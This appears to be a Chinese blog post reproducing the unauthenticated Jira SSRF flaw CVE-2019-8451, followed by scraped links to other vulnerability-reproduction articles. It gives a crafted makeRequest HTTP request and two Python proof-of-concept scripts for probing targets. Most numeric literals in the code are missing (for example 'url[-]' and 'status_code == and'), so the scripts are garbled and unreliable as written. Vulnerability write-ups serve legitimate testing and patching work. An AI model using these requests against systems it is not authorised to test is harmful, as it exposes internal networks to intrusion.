0x00 漏洞背景

Jira的/plugins/servlet/gadgets/makeRequest资源存在SSRF漏洞,原因在于JiraWhitelist这个类的逻辑缺陷,成功利用此漏洞的远程攻击者可以以Jira服务端的身份访问内网资源。经分析,此漏洞无需任何凭据即可触发。

0x01 影响范围

< 8.4.0

此漏洞是在Jira服务器7.6.0版中引入的,并在7.13.9和8.4.0版中进行了修复

0x02 漏洞复现

Atlassian JIRAv7.13.0 (以该版本为例,该版本存在漏洞)下载地址:

https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe

安装过程不再描述(按照提示进行安装,先在官方注册一个账号然后拿到一个试用期序列号并进行安装)。

通过bupsuit进行请求如下,在响应中可以看到成功探测目标系统存在ssrf漏洞:

GET /plugins/servlet/gadgets/makeRequest?url=http://10.206.1.8:8080@www.baidu.com HTTP/1.1
Host: 10.206.1.8:8080
Upgrade-Insecure-Requests:
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchangeb;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
X-Atlassian-Token: no-check
Connection: close

0x03 漏洞验证

其验证POC如下:
import requests
import sys
# http://http://10.206.1.8:8080/plugins/servlet/gadgets/makeRequest?url=http://10.206.1.8:8080@www.baidu.com/ def ssrf_poc(url, ssrf_url):
if url[-] == '/':
url = url[:-]
else:
url = url vuln_url = url + "/plugins/servlet/gadgets/makeRequest?url=" + url + '@' + ssrf_url headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"X-Atlassian-Token": "no-check",
"Connection": "close"
} r = requests.get(url=vuln_url, headers=headers)
if r.status_code == and 'set-cookie' in r.content:
print "\n>>>>Send poc Success!\n"
print 'X-AUSERNAME= %s' % r.headers.get('X-AUSERNAME')
print "\n>>>>vuln_url= " + vuln_url + '\n'
print r.content
else:
print "No Vuln Exit!" if __name__ == "__main__": while True:
print
ssrf_url = raw_input(">>>>SSRF URL: ")
url = "http://10.206.1.8:8080" #需要修改成自己的目标jira系统
ssrf_poc(url, ssrf_url)
python CVE-2019-8451.py http://10.206.1.8:8080/
或者:
#!/usr/bin/env python3
import argparse
import requests
import re G, B, R, W, M, C, end = '\033[92m', '\033[94m', '\033[91m', '\x1b[37m', '\x1b[35m', '\x1b[36m', '\033[0m'
info = end + W + "[-]" + W
good = end + G + "[+]" + C
bad = end + R + "[" + W + "!" + R + "]" user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36" def check_version(url):
target = url
response = send_request(target) print(info + " Checking for version..." + end) r1 = re.search('[0-9]{1}\.[0-9]{1}\.[0-9]{1}', str(response))
print(info + " Jira version appears to be: " + r1.group() + end) v1 = '8.4.0'
v2 = r1.group() if comapre_versions(v1, v2) == False:
print(bad + " Version seems to indicate it's probably not vulnerable." + end)
else:
print(good + " Version seems to indicate it might be vulnerable!" + end) def comapre_versions(v1, v2):
for i, j in zip(map(int, v1.split(".")), map(int, v2.split("."))):
if i == j:
continue
return i > j
return len(v1.split(".")) > len(v2.split(".")) def check_vuln(url):
target = url + "/plugins/servlet/gadgets/makeRequest?url=" + url + "@example.com/"
response = send_request(target) print(info + " Sending SSRF test..." + end) if '"rc":200' in response and "Example Domain" in response:
print(good + " Host appears to be vulnerable! " + end)
else:
print(bad + " Host doesn't appear to be vulnerable." + end) def send_request(target):
headers = {'X-Atlassian-token':'no-check', 'User-Agent':user_agent}
try:
r = requests.get(target, headers=headers)
except Exception as e:
print(bad + " Problem with request! " + end)
print(e)
exit(-) if (r.status_code != ):
print(info + " Something went wrong! " + end)
if (r.status_code == ):
print(bad + " Redirected. Try this instead: " + r.headers['Location'] + end)
else:
print(bad + " Status: " + str(r.status_code) + end)
exit(-) return(r.text) if __name__ == '__main__':
parser = argparse.ArgumentParser(prog='jira-2019-8451.py', description='For checking if a Jira instance is vunlerable to CVE-2019-8451')
parser.add_argument("-u", "--url", help="URL of the target Jira instance e.g. '-u https://localhost:8080'")
parser.add_argument("-c", "--check", help="Only check the Jira version; doesn't send SSRF attempt", action='store_true')
args = parser.parse_args() if not args.url:
print(bad + " Missing parameters " + end)
parser.print_help()
exit(-) url = str(args.url) print(info + " Testing " + url + "..." + end) if args.check == True:
check_version(url)
exit()
else:
check_version(url)
check_vuln(url)
使用方法:
pip3 install requests
$ ./jira--.py -h
usage: jira--.py [-h] [-u URL] [-c] For checking if a Jira instance is vunlerable to CVE-- optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL of the target Jira instance e.g. '-u
https://localhost:8080'
-c, --check Only check the Jira version; doesn't send SSRF attempt

D:\Python\Python37>python C:\Users\Administrator\Desktop\jira-2019-8451.py  -u http://10.206.1.8:8080

0x04 修复建议

升级到8.4.0及以上版本

0x05 参考文献

Jira未授权SSRF漏洞复现(CVE-2019-8451)的更多相关文章

  1. jboss 未授权访问漏洞复现

    jboss 未授权访问漏洞复现 一.漏洞描述 未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件. 二.漏洞环境搭建及复 ...

  2. Redis未授权访问漏洞复现

    Redis未授权访问漏洞复现 一.漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没 ...

  3. [转帖]Redis未授权访问漏洞复现

    Redis未授权访问漏洞复现 https://www.cnblogs.com/yuzly/p/11663822.html config set dirconfig set dbfile xxxx 一. ...

  4. rsync未授权访问漏洞复现

    rsync未授权访问漏洞简介 rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口.由于配置不当,导致任何人可未授权访问r ...

  5. Redis未授权访问漏洞复现与利用

    漏洞简介 Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认 ...

  6. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

  7. Redis未授权访问漏洞复现及修复方案

    首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU ...

  8. CVE-2019-17671:Wordpress未授权访问漏洞复现

    0x00 简介 WordPress是一款个人博客系统,并逐步演化成一款内容管理系统软件,它是使用PHP语言和MySQL数据库开发的,用户可以在支持 PHP 和 MySQL数据库的服务器上使用自己的博客 ...

  9. Jboss未授权访问漏洞复现

    一.前言 漏洞原因:在低版本中,默认可以访问Jboss web控制台(http://127.0.0.1:8080/jmx-console),无需用户名和密码. 二.环境配置 使用docker搭建环境 ...

随机推荐

  1. 添加ssh密钥

    直接运行ssh-keygen,可以不输入密码 $ ssh-keygen Generating public/private rsa key pair. Enter file in which to s ...

  2. Git分支管理(四)

    一.什么是分支 分支的好处: 同时并行推进多个功能开发,提高开发效率 各个分支在开发过程中,如果某一个分支开发失败,不会对其他分支有任 何影响.失败的分支删除重新开始即可. 二.分支的操作 1. 创建 ...

  3. zz1998_Efficient Backprop笔记

    1998_Efficient Backprop笔记 A few practical tricks 1. Stochastic vs Batch learning 在最小值附近震荡的幅度与学习速率成比例 ...

  4. [POJ1189][BZOJ1867][CODEVS1709]钉子和小球

    题目描述 Description 有一个三角形木板,竖直立放,上面钉着n(n+1)/2颗钉子,还有(n+1)个格子(当n=5时如图1).每颗钉子和周围的钉子的距离都等于d,每个格子的宽度也都等于d,且 ...

  5. Hello 2019 F 莫比乌斯反演 + bitset

    https://codeforces.com/contest/1097/problem/F 题意 有n个多重集,q次询问,4种询问 1. 将第x个多重集置为v 2. 将第y和z多重集进行并操作,并赋值 ...

  6. day 24

    I am a slow walker, but I never walk back. 我走得很慢,但是我从来不会后退.

  7. [LeetCode] 187. Repeated DNA Sequences 求重复的DNA序列

    All DNA is composed of a series of nucleotides abbreviated as A, C, G, and T, for example: "ACG ...

  8. PowerShell常用命令及美化(现代化的CMD)

    PowerShell可谓现代终端,是微软用来替代古老的CMD的. PowerShell拥有面向对象的思想,非常方便. 常用命令 下载文件(此处以install.ps1文件为例) $client = n ...

  9. .Net Core 最简洁的约定式依赖注入

    .Net Core 最简洁的约定式依赖注入 github:https://github.com/280780363/guc/tree/master/src/Guc.Kernel/Dependency ...

  10. UDF——处理二维网格的利器:Boost.Geometry库

    本文编译工具:VC++ UDF Studio 该插件可以直接在Visual Studio中一键编译.加载.调试UDF源码,极大提高编写排错效率,且支持C++,MFC,Windows API和第三方库, ...